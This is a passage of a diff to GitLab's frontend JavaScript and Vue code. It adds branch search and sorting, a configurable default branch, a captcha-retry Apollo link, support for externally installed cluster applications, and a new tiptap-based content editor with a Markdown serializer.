+const OVERVIEW_MODE = 'overview';
+
+export default {
+ i18n: {
+ searchPlaceholder: s__('Branches|Filter by branch name'),
+ },
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlSearchBoxByClick,
+ },
+ inject: ['projectBranchesFilteredPath', 'sortOptions', 'mode'],
+ data() {
+ return {
+ selectedKey: 'updated_desc',
+ searchTerm: '',
+ };
+ },
+ computed: {
+ shouldShowDropdown() {
+ return this.mode !== OVERVIEW_MODE;
+ },
+ selectedSortMethodName() {
+ return this.sortOptions[this.selectedKey];
+ },
+ },
+ created() {
+ const sortValue = getParameterValues('sort');
+ const searchValue = getParameterValues('search');
+
+ if (sortValue.length > 0) {
+ [this.selectedKey] = sortValue;
+ }
+
+ if (searchValue.length > 0) {
+ [this.searchTerm] = searchValue;
+ }
+ },
+ methods: {
+ isSortMethodSelected(sortKey) {
+ return sortKey === this.selectedKey;
+ },
+ visitUrlFromOption(sortKey) {
+ this.selectedKey = sortKey;
+ const urlParams = {};
+
+ if (this.mode !== OVERVIEW_MODE) {
+ urlParams.sort = sortKey;
+ }
+
+ urlParams.search = this.searchTerm.length > 0 ? this.searchTerm : null;
+
+ const newUrl = mergeUrlParams(urlParams, this.projectBranchesFilteredPath);
+ visitUrl(newUrl);
+ },
+ },
+};
+</script>
+<template>
+ <div class="gl-display-flex gl-pr-4">
+ <gl-search-box-by-click
+ v-model="searchTerm"
+ :placeholder="$options.i18n.searchPlaceholder"
+ class="gl-pr-4"
+ data-testid="branch-search"
+ @submit="visitUrlFromOption(selectedKey)"
+ />
+ <gl-dropdown
+ v-if="shouldShowDropdown"
+ :text="selectedSortMethodName"
+ data-testid="branches-dropdown"
+ >
+ <gl-dropdown-item
+ v-for="(value, key) in sortOptions"
+ :key="key"
+ :is-checked="isSortMethodSelected(key)"
+ is-check-item
+ @click="visitUrlFromOption(key)"
+ >{{ value }}</gl-dropdown-item
+ >
+ </gl-dropdown>
+ </div>
+</template>
diff --git a/app/assets/javascripts/branches/divergence_graph.js b/app/assets/javascripts/branches/divergence_graph.js
index ca019bc4178..66e8d982113 100644
--- a/app/assets/javascripts/branches/divergence_graph.js
+++ b/app/assets/javascripts/branches/divergence_graph.js
@@ -4,13 +4,13 @@ import axios from '../lib/utils/axios_utils';
import { __ } from '../locale';
import DivergenceGraph from './components/divergence_graph.vue';
-export function createGraphVueApp(el, data, maxCommits) {
+export function createGraphVueApp(el, data, maxCommits, defaultBranch) {
return new Vue({
el,
render(h) {
return h(DivergenceGraph, {
props: {
- defaultBranch: 'master',
+ defaultBranch,
distance: data.distance ? parseInt(data.distance, 10) : null,
aheadCount: parseInt(data.ahead, 10),
behindCount: parseInt(data.behind, 10),
@@ -21,7 +21,7 @@ export function createGraphVueApp(el, data, maxCommits) {
});
}
-export default (endpoint) => {
+export default (endpoint, defaultBranch) => {
const names = [...document.querySelectorAll('.js-branch-item')].map(
({ dataset }) => dataset.name,
);
@@ -47,7 +47,7 @@ export default (endpoint) => {
if (!el) return;
- createGraphVueApp(el, val, maxCommits);
+ createGraphVueApp(el, val, maxCommits, defaultBranch);
});
})
.catch(() =>
diff --git a/app/assets/javascripts/captcha/apollo_captcha_link.js b/app/assets/javascripts/captcha/apollo_captcha_link.js
new file mode 100644
index 00000000000..e49abc10b29
--- /dev/null
+++ b/app/assets/javascripts/captcha/apollo_captcha_link.js
@@ -0,0 +1,37 @@
+import { ApolloLink, Observable } from 'apollo-link';
+
+export const apolloCaptchaLink = new ApolloLink((operation, forward) =>
+ forward(operation).flatMap((result) => {
+ const { errors = [] } = result;
+
+ // Our API will return with a top-level GraphQL error with extensions
+ // in case a captcha is required.
+ const captchaError = errors.find((e) => e?.extensions?.needs_captcha_response);
+ if (captchaError) {
+ const captchaSiteKey = captchaError.extensions.captcha_site_key;
+ const spamLogId = captchaError.extensions.spam_log_id;
+
+ return new Observable((observer) => {
+ import('~/captcha/wait_for_captcha_to_be_solved')
+ .then(({ waitForCaptchaToBeSolved }) => waitForCaptchaToBeSolved(captchaSiteKey))
+ .then((captchaResponse) => {
+ // If the captcha was solved correctly, we re-do our action while setting
+ // captcha response headers.
+ operation.setContext({
+ headers: {
+ 'X-GitLab-Captcha-Response': captchaResponse,
+ 'X-GitLab-Spam-Log-Id': spamLogId,
+ },
+ });
+ forward(operation).subscribe(observer);
+ })
+ .catch((error) => {
+ observer.error(error);
+ observer.complete();
+ });
+ });
+ }
+
+ return Observable.of(result);
+ }),
+);
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint.vue b/app/assets/javascripts/ci_lint/components/ci_lint.vue
index 9a55177b15f..ced07dea7be 100644
--- a/app/assets/javascripts/ci_lint/components/ci_lint.vue
+++ b/app/assets/javascripts/ci_lint/components/ci_lint.vue
@@ -32,7 +32,7 @@ export default {
return {
content: '',
loading: false,
- valid: false,
+ isValid: false,
errors: null,
warnings: null,
jobs: [],
@@ -61,7 +61,7 @@ export default {
});
this.showingResults = true;
- this.valid = valid;
+ this.isValid = valid;
this.errors = errors;
this.warnings = warnings;
this.jobs = jobs;
@@ -120,7 +120,7 @@ export default {
<ci-lint-results
v-if="showingResults"
class="col-sm-12 gl-mt-5"
- :valid="valid"
+ :is-valid="isValid"
:jobs="jobs"
:errors="errors"
:warnings="warnings"
diff --git a/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue b/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue
index 0233ffaccdc..bc1e401d373 100644
--- a/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue
+++ b/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue
@@ -7,6 +7,10 @@ import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
export default {
+ i18n: {
+ editButton: s__('Pipelines|Edit'),
+ revokeButton: s__('Pipelines|Revoke'),
+ },
components: {
GlTable,
GlButton,
@@ -108,13 +112,15 @@ export default {
</template>
<template #cell(actions)="{ item }">
<gl-button
- :title="s__('Pipelines|Edit')"
+ :title="$options.i18n.editButton"
+ :aria-label="$options.i18n.editButton"
icon="pencil"
data-testid="edit-btn"
:href="item.editProjectTriggerPath"
/>
<gl-button
- :title="s__('Pipelines|Revoke')"
+ :title="$options.i18n.revokeButton"
+ :aria-label="$options.i18n.revokeButton"
icon="remove"
variant="warning"
:data-confirm="
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue b/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue
index be7c0b68b4c..12def6e7eef 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue
+++ b/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue
@@ -7,6 +7,7 @@ import {
GlFormCombobox,
GlFormGroup,
GlFormSelect,
+ GlFormInput,
GlFormTextarea,
GlIcon,
GlLink,
@@ -41,6 +42,7 @@ export default {
GlFormCombobox,
GlFormGroup,
GlFormSelect,
+ GlFormInput,
GlFormTextarea,
GlIcon,
GlLink,
@@ -128,6 +130,9 @@ export default {
return true;
},
+ scopedVariablesAvailable() {
+ return !this.isGroup || this.glFeatures.groupScopedCiVariables;
+ },
variableValidationFeedback() {
return `${this.tokenValidationFeedback} ${this.maskedFeedback}`;
},
@@ -222,28 +227,25 @@ export default {
</gl-form-group>
<div class="d-flex">
- <gl-form-group
- :label="__('Type')"
- label-for="ci-variable-type"
- class="w-50 gl-mr-5"
- :class="{ 'w-100': isGroup }"
- >
+ <gl-form-group :label="__('Type')" label-for="ci-variable-type" class="w-50 gl-mr-5">
<gl-form-select id="ci-variable-type" v-model="variable_type" :options="typeOptions" />
</gl-form-group>
<gl-form-group
- v-if="!isGroup"
:label="__('Environment scope')"
label-for="ci-variable-env"
class="w-50"
data-testid="environment-scope"
>
<ci-environments-dropdown
+ v-if="scopedVariablesAvailable"
class="w-100"
:value="environment_scope"
@selectEnvironment="setEnvironmentScope"
@createClicked="addWildCardScope"
/>
+
+ <gl-form-input v-else v-model="environment_scope" class="w-100" readonly />
</gl-form-group>
</div>
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_popover.vue b/app/assets/javascripts/ci_variable_list/components/ci_variable_popover.vue
index 6e6527df63f..605da5d9352 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_popover.vue
+++ b/app/assets/javascripts/ci_variable_list/components/ci_variable_popover.vue
@@ -37,7 +37,7 @@ export default {
<template>
<div id="popover-container">
- <gl-popover :target="target" triggers="hover" placement="top" container="popover-container">
+ <gl-popover :target="target" placement="top" container="popover-container">
<div
class="gl-display-flex gl-justify-content-space-between gl-align-items-center gl-word-break-all"
>
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue b/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
index c9943052356..e5923124653 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
+++ b/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
@@ -2,6 +2,7 @@
import { GlTable, GlButton, GlModalDirective, GlIcon } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
import { s__, __ } from '~/locale';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { ADD_CI_VARIABLE_MODAL_ID } from '../constants';
import CiVariablePopover from './ci_variable_popover.vue';
@@ -59,8 +60,9 @@ export default {
directives: {
GlModalDirective,
},
+ mixins: [glFeatureFlagsMixin()],
computed: {
- ...mapState(['variables', 'valuesHidden', 'isGroup', 'isLoading', 'isDeleting']),
+ ...mapState(['variables', 'valuesHidden', 'isLoading', 'isDeleting']),
valuesButtonText() {
return this.valuesHidden ? __('Reveal values') : __('Hide values');
},
@@ -68,9 +70,6 @@ export default {
return this.variables && this.variables.length > 0;
},
fields() {
- if (this.isGroup) {
- return this.$options.fields.filter((field) => field.key !== 'environment_scope');
- }
return this.$options.fields;
},
},
diff --git a/app/assets/javascripts/ci_variable_list/index.js b/app/assets/javascripts/ci_variable_list/index.js
index 37b5f7e6df7..50856ca9533 100644
--- a/app/assets/javascripts/ci_variable_list/index.js
+++ b/app/assets/javascripts/ci_variable_list/index.js
@@ -3,8 +3,7 @@ import { parseBoolean } from '~/lib/utils/common_utils';
import CiVariableSettings from './components/ci_variable_settings.vue';
import createStore from './store';
-export default (containerId = 'js-ci-project-variables') => {
- const containerEl = document.getElementById(containerId);
+const mountCiVariableListApp = (containerEl) => {
const {
endpoint,
projectId,
@@ -43,3 +42,9 @@ export default (containerId = 'js-ci-project-variables') => {
},
});
};
+
+export default (containerId = 'js-ci-project-variables') => {
+ const el = document.getElementById(containerId);
+
+ return !el ? {} : mountCiVariableListApp(el);
+};
diff --git a/app/assets/javascripts/clusters/components/application_row.vue b/app/assets/javascripts/clusters/components/application_row.vue
index 76fe076d4ff..a53b63ea592 100644
--- a/app/assets/javascripts/clusters/components/application_row.vue
+++ b/app/assets/javascripts/clusters/components/application_row.vue
@@ -141,6 +141,9 @@ export default {
isInstalling() {
return this.status === APPLICATION_STATUS.INSTALLING;
},
+ isExternallyInstalled() {
+ return this.status === APPLICATION_STATUS.EXTERNALLY_INSTALLED;
+ },
canInstall() {
return (
this.status === APPLICATION_STATUS.NOT_INSTALLABLE ||
@@ -193,10 +196,17 @@ export default {
label = __('Installing');
} else if (this.installed) {
label = __('Installed');
+ } else if (this.isExternallyInstalled) {
+ label = __('Externally installed');
}
return label;
},
+ buttonGridCellClass() {
+ return this.showManageButton || this.status === APPLICATION_STATUS.EXTERNALLY_INSTALLED
+ ? 'section-25'
+ : 'section-15';
+ },
showManageButton() {
return this.manageLink && this.status === APPLICATION_STATUS.INSTALLED;
},
@@ -427,8 +437,7 @@ export default {
</div>
</div>
<div
- :class="{ 'section-25': showManageButton, 'section-15': !showManageButton }"
- class="table-section table-button-footer section-align-top"
+ :class="[buttonGridCellClass, 'table-section', 'table-button-footer', 'section-align-top']"
role="gridcell"
>
<div v-if="showManageButton" class="btn-group table-action-buttons">
diff --git a/app/assets/javascripts/clusters/constants.js b/app/assets/javascripts/clusters/constants.js
index e2227c61cee..90ec3f2377c 100644
--- a/app/assets/javascripts/clusters/constants.js
+++ b/app/assets/javascripts/clusters/constants.js
@@ -26,6 +26,7 @@ export const APPLICATION_STATUS = {
ERROR: 'errored',
PRE_INSTALLED: 'pre_installed',
UNINSTALLED: 'uninstalled',
+ EXTERNALLY_INSTALLED: 'externally_installed',
};
/*
diff --git a/app/assets/javascripts/clusters/forms/show/index.js b/app/assets/javascripts/clusters/forms/show/index.js
index 47a3016c777..102b240042f 100644
--- a/app/assets/javascripts/clusters/forms/show/index.js
+++ b/app/assets/javascripts/clusters/forms/show/index.js
@@ -1,9 +1,12 @@
import Vue from 'vue';
+import dirtySubmitFactory from '~/dirty_submit/dirty_submit_factory';
import IntegrationForm from '../components/integration_form.vue';
import { createStore } from '../stores';
export default () => {
- const entryPoint = document.querySelector('#js-cluster-integration-form');
+ dirtySubmitFactory(document.querySelectorAll('.js-cluster-integrations-form'));
+
+ const entryPoint = document.querySelector('#js-cluster-details-form');
if (!entryPoint) {
return;
diff --git a/app/assets/javascripts/clusters/services/application_state_machine.js b/app/assets/javascripts/clusters/services/application_state_machine.js
index 1dd815ae44d..2ff604af9a7 100644
--- a/app/assets/javascripts/clusters/services/application_state_machine.js
+++ b/app/assets/javascripts/clusters/services/application_state_machine.js
@@ -15,6 +15,7 @@ const {
UNINSTALL_ERRORED,
PRE_INSTALLED,
UNINSTALLED,
+ EXTERNALLY_INSTALLED,
} = APPLICATION_STATUS;
const applicationStateMachine = {
@@ -71,6 +72,9 @@ const applicationStateMachine = {
[UNINSTALLED]: {
target: UNINSTALLED,
},
+ [EXTERNALLY_INSTALLED]: {
+ target: EXTERNALLY_INSTALLED,
+ },
},
},
[NOT_INSTALLABLE]: {
diff --git a/app/assets/javascripts/clusters_list/components/node_error_help_text.vue b/app/assets/javascripts/clusters_list/components/node_error_help_text.vue
index 1a396694bc8..9903a1bdb3e 100644
--- a/app/assets/javascripts/clusters_list/components/node_error_help_text.vue
+++ b/app/assets/javascripts/clusters_list/components/node_error_help_text.vue
@@ -34,7 +34,7 @@ export default {
<gl-icon name="status_warning" :size="24" class="gl-p-2" />
- <gl-popover :container="popoverId" :target="popoverId" placement="top" triggers="hover focus">
+ <gl-popover :container="popoverId" :target="popoverId" placement="top">
<template #title>
<span class="gl-display-block gl-text-left">{{ errorContent.title }}</span>
</template>
diff --git a/app/assets/javascripts/commit/pipelines/pipelines_bundle.js b/app/assets/javascripts/commit/pipelines/pipelines_bundle.js
index 2e050c066f1..6f496ffc6ae 100644
--- a/app/assets/javascripts/commit/pipelines/pipelines_bundle.js
+++ b/app/assets/javascripts/commit/pipelines/pipelines_bundle.js
@@ -5,8 +5,8 @@ import CommitPipelinesTable from './pipelines_table.vue';
* Used in:
* - Project Pipelines List (projects:pipelines:index)
* - Commit details View > Pipelines Tab > Pipelines Table (projects:commit:pipelines)
- * - Merge Request details View > Pipelines Tab > Pipelines Table (projects:merge_requests:show)
- * - New Merge Request View > Pipelines Tab > Pipelines Table (projects:merge_requests:creations:new)
+ * - Merge request details View > Pipelines Tab > Pipelines Table (projects:merge_requests:show)
+ * - New merge request View > Pipelines Tab > Pipelines Table (projects:merge_requests:creations:new)
*/
export default () => {
const pipelineTableViewEl = document.querySelector('#commit-pipeline-table-view');
diff --git a/app/assets/javascripts/commit/pipelines/pipelines_table.vue b/app/assets/javascripts/commit/pipelines/pipelines_table.vue
index e1cca5adc73..ddca5bc7d4f 100644
--- a/app/assets/javascripts/commit/pipelines/pipelines_table.vue
+++ b/app/assets/javascripts/commit/pipelines/pipelines_table.vue
@@ -1,7 +1,6 @@
<script>
-import { GlButton, GlLoadingIcon, GlModal, GlLink } from '@gitlab/ui';
+import { GlButton, GlEmptyState, GlLoadingIcon, GlModal, GlLink } from '@gitlab/ui';
import { getParameterByName } from '~/lib/utils/common_utils';
-import SvgBlankState from '~/pipelines/components/pipelines_list/blank_state.vue';
import PipelinesTableComponent from '~/pipelines/components/pipelines_list/pipelines_table.vue';
import eventHub from '~/pipelines/event_hub';
import PipelinesMixin from '~/pipelines/mixins/pipelines_mixin';
@@ -13,12 +12,12 @@ import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
components: {
GlButton,
+ GlEmptyState,
GlLink,
GlLoadingIcon,
GlModal,
PipelinesTableComponent,
TablePagination,
- SvgBlankState,
},
mixins: [PipelinesMixin, glFeatureFlagMixin()],
props: {
@@ -82,7 +81,7 @@ export default {
return this.hasError && !this.isLoading;
},
/**
- * The Run Pipeline button can only be rendered when:
+ * The "Run pipeline" button can only be rendered when:
* - In MR view - we use `canCreatePipelineInTargetProject` for that purpose
* - If the latest pipeline has the `detached_merge_request_pipeline` flag
*
@@ -91,9 +90,6 @@ export default {
canRenderPipelineButton() {
return this.latestPipelineDetachedFlag;
},
- pipelineButtonClass() {
- return !this.glFeatures.newPipelinesTable ? 'gl-md-display-none' : 'gl-lg-display-none';
- },
isForkMergeRequest() {
return this.sourceProjectFullPath !== this.targetProjectFullPath;
},
@@ -149,7 +145,7 @@ export default {
}
},
/**
- * When the user clicks on the Run Pipeline button
+ * When the user clicks on the "Run pipeline" button
* we need to make a post request and
* to update the table content once the request is finished.
*
@@ -178,17 +174,17 @@ export default {
<div class="content-list pipelines">
<gl-loading-icon
v-if="isLoading"
- :label="s__('Pipelines|Loading Pipelines')"
+ :label="s__('Pipelines|Loading pipelines')"
size="lg"
class="prepend-top-20"
/>
- <svg-blank-state
+ <gl-empty-state
v-else-if="shouldRenderErrorState"
:svg-path="errorStateSvgPath"
- :message="
+ :title="
s__(`Pipelines|There was an error fetching the pipelines.
- Try again in a few moments or contact your support team.`)
+ Try again in a few moments or contact your support team.`)
"
/>
@@ -196,14 +192,13 @@ export default {
<gl-button
v-if="canRenderPipelineButton"
block
- class="gl-mt-3 gl-mb-3"
- :class="pipelineButtonClass"
- variant="success"
+ class="gl-mt-3 gl-mb-3 gl-lg-display-none"
+ variant="confirm"
data-testid="run_pipeline_button_mobile"
:loading="state.isRunningMergeRequestPipeline"
@click="tryRunPipeline"
>
- {{ s__('Pipelines|Run Pipeline') }}
+ {{ s__('Pipeline|Run pipeline') }}
</gl-button>
<pipelines-table-component
@@ -214,12 +209,12 @@ export default {
<template #table-header-actions>
<div v-if="canRenderPipelineButton" class="gl-text-right">
<gl-button
- variant="success"
+ variant="confirm"
data-testid="run_pipeline_button"
:loading="state.isRunningMergeRequestPipeline"
@click="tryRunPipeline"
>
- {{ s__('Pipelines|Run Pipeline') }}
+ {{ s__('Pipeline|Run pipeline') }}
</gl-button>
</div>
</template>
@@ -232,7 +227,7 @@ export default {
ref="modal"
:modal-id="modalId"
:title="s__('Pipelines|Are you sure you want to run this pipeline?')"
- :ok-title="s__('Pipelines|Run Pipeline')"
+ :ok-title="s__('Pipeline|Run pipeline')"
ok-variant="danger"
@ok="onClickRunPipeline"
>
diff --git a/app/assets/javascripts/commits.js b/app/assets/javascripts/commits.js
index 5cbe9a24fc4..da7fc88d8ac 100644
--- a/app/assets/javascripts/commits.js
+++ b/app/assets/javascripts/commits.js
@@ -10,7 +10,7 @@ export default class CommitsList {
this.$contentList = $('.content_list');
- Pager.init(parseInt(limit, 10), false, false, this.processCommits.bind(this));
+ Pager.init({ limit: parseInt(limit, 10), prepareData: this.processCommits.bind(this) });
this.content = $('#commits-list');
this.searchField = $('#commits-search');
diff --git a/app/assets/javascripts/content_editor/components/content_editor.vue b/app/assets/javascripts/content_editor/components/content_editor.vue
new file mode 100644
index 00000000000..839d4de912d
--- /dev/null
+++ b/app/assets/javascripts/content_editor/components/content_editor.vue
@@ -0,0 +1,18 @@
+<script>
+import { EditorContent } from 'tiptap';
+import createEditor from '../services/create_editor';
+
+export default {
+ components: {
+ EditorContent,
+ },
+ data() {
+ return {
+ editor: createEditor(),
+ };
+ },
+};
+</script>
+<template>
+ <editor-content :editor="editor" />
+</template>
diff --git a/app/assets/javascripts/content_editor/constants.js b/app/assets/javascripts/content_editor/constants.js
new file mode 100644
index 00000000000..eb6deff434d
--- /dev/null
+++ b/app/assets/javascripts/content_editor/constants.js
@@ -0,0 +1,5 @@
+import { s__ } from '~/locale';
+
+export const PROVIDE_SERIALIZER_OR_RENDERER_ERROR = s__(
+ 'ContentEditor|You have to provide a renderMarkdown function or a custom serializer',
+);
diff --git a/app/assets/javascripts/content_editor/extensions/code_block_highlight.js b/app/assets/javascripts/content_editor/extensions/code_block_highlight.js
new file mode 100644
index 00000000000..1d050ed208b
--- /dev/null
+++ b/app/assets/javascripts/content_editor/extensions/code_block_highlight.js
@@ -0,0 +1,38 @@
+import { CodeBlockHighlight as BaseCodeBlockHighlight } from 'tiptap-extensions';
+
+export default class GlCodeBlockHighlight extends BaseCodeBlockHighlight {
+ get schema() {
+ const baseSchema = super.schema;
+
+ return {
+ ...baseSchema,
+ attrs: {
+ params: {
+ default: null,
+ },
+ },
+ parseDOM: [
+ {
+ tag: 'pre',
+ preserveWhitespace: 'full',
+ getAttrs: (node) => {
+ const code = node.querySelector('code');
+
+ if (!code) {
+ return null;
+ }
+
+ return {
+ /* `params` is the name of the attribute that
+ prosemirror-markdown uses to extract the language
+ of a codeblock.
+ https://github.com/ProseMirror/prosemirror-markdown/blob/master/src/to_markdown.js#L62
+ */
+ params: code.getAttribute('lang'),
+ };
+ },
+ },
+ ],
+ };
+ }
+}
diff --git a/app/assets/javascripts/content_editor/index.js b/app/assets/javascripts/content_editor/index.js
new file mode 100644
index 00000000000..e6ef3965da1
--- /dev/null
+++ b/app/assets/javascripts/content_editor/index.js
@@ -0,0 +1,2 @@
+export { default as createEditor } from './services/create_editor';
+export { default as ContentEditor } from './components/content_editor.vue';
diff --git a/app/assets/javascripts/content_editor/services/create_editor.js b/app/assets/javascripts/content_editor/services/create_editor.js
new file mode 100644
index 00000000000..128d332b0a2
--- /dev/null
+++ b/app/assets/javascripts/content_editor/services/create_editor.js
@@ -0,0 +1,60 @@
+import { isFunction, isString } from 'lodash';
+import { Editor } from 'tiptap';
+import {
+ Bold,
+ Italic,
+ Code,
+ Link,
+ Image,
+ Heading,
+ Blockquote,
+ HorizontalRule,
+ BulletList,
+ OrderedList,
+ ListItem,
+} from 'tiptap-extensions';
+import { PROVIDE_SERIALIZER_OR_RENDERER_ERROR } from '../constants';
+import CodeBlockHighlight from '../extensions/code_block_highlight';
+import createMarkdownSerializer from './markdown_serializer';
+
+const createEditor = async ({ content, renderMarkdown, serializer: customSerializer } = {}) => {
+ if (!customSerializer && !isFunction(renderMarkdown)) {
+ throw new Error(PROVIDE_SERIALIZER_OR_RENDERER_ERROR);
+ }
+
+ const editor = new Editor({
+ extensions: [
+ new Bold(),
+ new Italic(),
+ new Code(),
+ new Link(),
+ new Image(),
+ new Heading({ levels: [1, 2, 3, 4, 5, 6] }),
+ new Blockquote(),
+ new HorizontalRule(),
+ new BulletList(),
+ new ListItem(),
+ new OrderedList(),
+ new CodeBlockHighlight(),
+ ],
+ });
+ const serializer = customSerializer || createMarkdownSerializer({ render: renderMarkdown });
+
+ editor.setSerializedContent = async (serializedContent) => {
+ editor.setContent(
+ await serializer.deserialize({ schema: editor.schema, content: serializedContent }),
+ );
+ };
+
+ editor.getSerializedContent = () => {
+ return serializer.serialize({ schema: editor.schema, content: editor.getJSON() });
+ };
+
+ if (isString(content)) {
+ await editor.setSerializedContent(content);
+ }
+
+ return editor;
+};
+
+export default createEditor;
diff --git a/app/assets/javascripts/content_editor/services/markdown_serializer.js b/app/assets/javascripts/content_editor/services/markdown_serializer.js
new file mode 100644
index 00000000000..e3b5775e320
--- /dev/null
+++ b/app/assets/javascripts/content_editor/services/markdown_serializer.js
@@ -0,0 +1,73 @@
+import {
+ MarkdownSerializer as ProseMirrorMarkdownSerializer,
+ defaultMarkdownSerializer,
+} from 'prosemirror-markdown';
+import { DOMParser as ProseMirrorDOMParser } from 'prosemirror-model';
+
+const wrapHtmlPayload = (payload) => `<div>${payload}</div>`;
+
+/**
+ * A markdown serializer converts arbitrary Markdown content
+ * into a ProseMirror document and viceversa. To convert Markdown
+ * into a ProseMirror document, the Markdown should be rendered.
+ *
+ * The client should provide a render function to allow flexibility
+ * on the desired rendering approach.
+ *
+ * @param {Function} params.render Render function
+ * that parses the Markdown and converts it into HTML.
+ * @returns a markdown serializer
+ */
+const create = ({ render = () => null }) => {
+ return {
+ /**
+ * Converts a Markdown string into a ProseMirror JSONDocument based
+ * on a ProseMirror schema.
+ * @param {ProseMirror.Schema} params.schema A ProseMirror schema that defines
+ * the types of content supported in the document
+ * @param {String} params.content An arbitrary markdown string
+ * @returns A ProseMirror JSONDocument
+ */
+ deserialize: async ({ schema, content }) => {
+ const html = await render(content);
+
+ if (!html) {
+ return null;
+ }
+
+ const parser = new DOMParser();
+ const {
+ body: { firstElementChild },
+ } = parser.parseFromString(wrapHtmlPayload(html), 'text/html');
+ const state = ProseMirrorDOMParser.fromSchema(schema).parse(firstElementChild);
+
+ return state.toJSON();
+ },
+
+ /**
+ * Converts a ProseMirror JSONDocument based
+ * on a ProseMirror schema into Markdown
+ * @param {ProseMirror.Schema} params.schema A ProseMirror schema that defines
+ * the types of content supported in the document
+ * @param {String} params.content A ProseMirror JSONDocument
+ * @returns A Markdown string
+ */
+ serialize: ({ schema, content }) => {
+ const document = schema.nodeFromJSON(content);
+ const serializer = new ProseMirrorMarkdownSerializer(defaultMarkdownSerializer.nodes, {
+ ...defaultMarkdownSerializer.marks,
+ bold: {
+ // creates a bold alias for the strong mark converter
+ ...defaultMarkdownSerializer.marks.strong,
+ },
+ italic: { open: '_', close: '_', mixable: true, expelEnclosingWhitespace: true },
+ });
+
+ return serializer.serialize(document, {
+ tightLists: true,
+ });
+ },
+ };
+};
+
+export default create;
diff --git a/app/assets/javascripts/contributors/components/contributors.vue b/app/assets/javascripts/contributors/components/contributors.vue
index 7426e570864..25ce6500094 100644
--- a/app/assets/javascripts/contributors/components/contributors.vue
+++ b/app/assets/javascripts/contributors/components/contributors.vue
@@ -201,11 +201,12 @@ export default {
</div>
<div v-else-if="showChart" class="contributors-charts">
- <h4>{{ __('Commits to') }} {{ branch }}</h4>
+ <h4 class="gl-mb-2 gl-mt-5">{{ __('Commits to') }} {{ branch }}</h4>
<span>{{ __('Excluding merge commits. Limited to 6,000 commits.') }}</span>
<resizable-chart-container>
<gl-area-chart
slot-scope="{ width }"
+ class="gl-mb-5"
:width="width"
:data="masterChartData"
:option="masterChartOptions"
@@ -218,10 +219,12 @@ export default {
<div
v-for="(contributor, index) in individualChartsData"
:key="index"
- class="col-lg-6 col-12"
+ class="col-lg-6 col-12 gl-my-5"
>
- <h4>{{ contributor.name }}</h4>
- <p>{{ n__('%d commit', '%d commits', contributor.commits) }} ({{ contributor.email }})</p>
+ <h4 class="gl-mb-2 gl-mt-0">{{ contributor.name }}</h4>
+ <p class="gl-mb-3">
+ {{ n__('%d commit', '%d commits', contributor.commits) }} ({{ contributor.email }})
+ </p>
<resizable-chart-container>
<gl-area-chart
slot-scope="{ width }"
diff --git a/app/assets/javascripts/contributors/index.js b/app/assets/javascripts/contributors/index.js
index b6063589734..f66133a074d 100644
--- a/app/assets/javascripts/contributors/index.js
+++ b/app/assets/javascripts/contributors/index.js
@@ -1,12 +1,15 @@
import Vue from 'vue';
import ContributorsGraphs from './components/contributors.vue';
-import store from './stores';
+import { createStore } from './stores';
export default () => {
const el = document.querySelector('.js-contributors-graph');
if (!el) return null;
+ const { projectGraphPath, projectBranch, defaultBranch } = el.dataset;
+ const store = createStore(defaultBranch);
+
return new Vue({
el,
store,
@@ -14,8 +17,8 @@ export default () => {
render(createElement) {
return createElement(ContributorsGraphs, {
props: {
- endpoint: el.dataset.projectGraphPath,
- branch: el.dataset.projectBranch,
+ endpoint: projectGraphPath,
+ branch: projectBranch,
},
});
},
diff --git a/app/assets/javascripts/contributors/stores/index.js b/app/assets/javascripts/contributors/stores/index.js
index 38259f46d4c..a4d0004cee5 100644
--- a/app/assets/javascripts/contributors/stores/index.js
+++ b/app/assets/javascripts/contributors/stores/index.js
@@ -7,12 +7,12 @@ import state from './state';
Vue.use(Vuex);
-export const createStore = () =>
+export const createStore = (defaultBranch) =>
new Vuex.Store({
actions,
mutations,
getters,
- state: state(),
+ state: state(defaultBranch),
});
-export default createStore();
+export default createStore;
diff --git a/app/assets/javascripts/contributors/stores/state.js b/app/assets/javascripts/contributors/stores/state.js
index 1dc1a3c7b75..9c6b993e5cb 100644
--- a/app/assets/javascripts/contributors/stores/state.js
+++ b/app/assets/javascripts/contributors/stores/state.js
@@ -1,5 +1,5 @@
-export default () => ({
+export default (branch) => ({
loading: false,
chartData: null,
- branch: 'master',
+ branch,
});
diff --git a/app/assets/javascripts/create_merge_request_dropdown.js b/app/assets/javascripts/create_merge_request_dropdown.js
index 35176c19f69..000faacb7d7 100644
--- a/app/assets/javascripts/create_merge_request_dropdown.js
+++ b/app/assets/javascripts/create_merge_request_dropdown.js
@@ -1,4 +1,3 @@
-/* eslint-disable no-new */
import { debounce } from 'lodash';
import {
init as initConfidentialMergeRequest,
@@ -8,7 +7,7 @@ import {
import confidentialMergeRequestState from './confidential_merge_request/state';
import DropLab from './droplab/drop_lab';
import ISetter from './droplab/plugins/input_setter';
-import { deprecatedCreateFlash as Flash } from './flash';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { __, sprintf } from './locale';
@@ -36,6 +35,7 @@ export default class CreateMergeRequestDropdown {
this.branchInput = this.wrapperEl.querySelector('.js-branch-name');
this.branchMessage = this.wrapperEl.querySelector('.js-branch-message');
